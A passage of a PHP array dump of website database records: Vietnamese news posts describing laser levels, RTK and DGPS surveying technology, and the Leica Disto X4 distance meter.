'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '933',
'rght' => '934',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Post' => array(
'id' => '533',
'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser',
'code' => null,
'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br />
- Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br />
- Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br />
- Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br />
<br />
<strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br />
<img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br />
<img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br />
<br />
<strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br />
- Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br />
- Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br />
- Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br />
<br />
<strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br />
Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br />
Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br />
</span></span>',
'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-02-13',
'modified' => '2025-08-18',
'status' => '1',
'view' => '66822',
'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '931',
'rght' => '932',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Post' => array(
'id' => '532',
'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ',
'code' => null,
'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br />
Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br />
Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br />
<br />
Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br />
Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br />
<br />
<strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br />
+ Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br />
+ Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br />
+ Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br />
+ Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br />
+ Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br />
+ Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br />
<div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div>
<div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;">
</div>
',
'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-12-25',
'modified' => '2025-08-18',
'status' => '1',
'view' => '66565',
'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '929',
'rght' => '930',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Post' => array(
'id' => '531',
'name' => 'Công nghệ DGPS và ứng dụng của nó.',
'code' => null,
'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>',
'content' => '<p>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br />
</p>
<p>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p>
<p style="text-align: center;">
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p>
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br />
<br />
Hệ thống DGPS:<br />
- Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br />
- Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br />
<br />
Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br />
<br />
Các ứng dụng hệ thống DGPS: <br />
<br />
- Ứng dụng trong trắc địa và bản đồ mặt Đất<br />
- Ứng dụng trong trắc địa và bản đồ biển<br />
- Ứng dụng trong giao thông và hải dương học trên biển<br />
- Ứng dụng trong trắc địa và bản đồ hàng không<br />
- Ứng dụng trong giao thông hàng không<br />
- Ứng dụng trong thám hiểm không gian<br />
- Ứng dụng trong quân đội<br />
<br />
<strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br />
<ul>
<li>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li>
<li>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li>
</ul>
<p style="text-align: center;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p>
<p style="text-align: center;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p>
',
'images' => '20181123080947be329442040732a45e4832bf54eaf382.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-11-23',
'modified' => '2025-08-19',
'status' => '1',
'view' => '68589',
'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '927',
'rght' => '928',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Post' => array(
'id' => '530',
'name' => 'Chức năng của máy đo khoảng cách laser Disto X4',
'code' => null,
'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br />
<br />
* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p>
',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<table border="0" cellpadding="0" style="width:700px;" width="700">
<tbody>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br />
Tính toán tổng diện tích tường, sàn, trần</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br />
Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br />
với những vị trí khó tiếp cận</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br />
Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br />
Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br />
Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br />
Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br />
Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td>
</tr>
</tbody>
</table>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br />
<br />
<br />
<br />
</span></span>',
'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-11-12',
'modified' => '2025-08-18',
'status' => '1',
'view' => '84630',
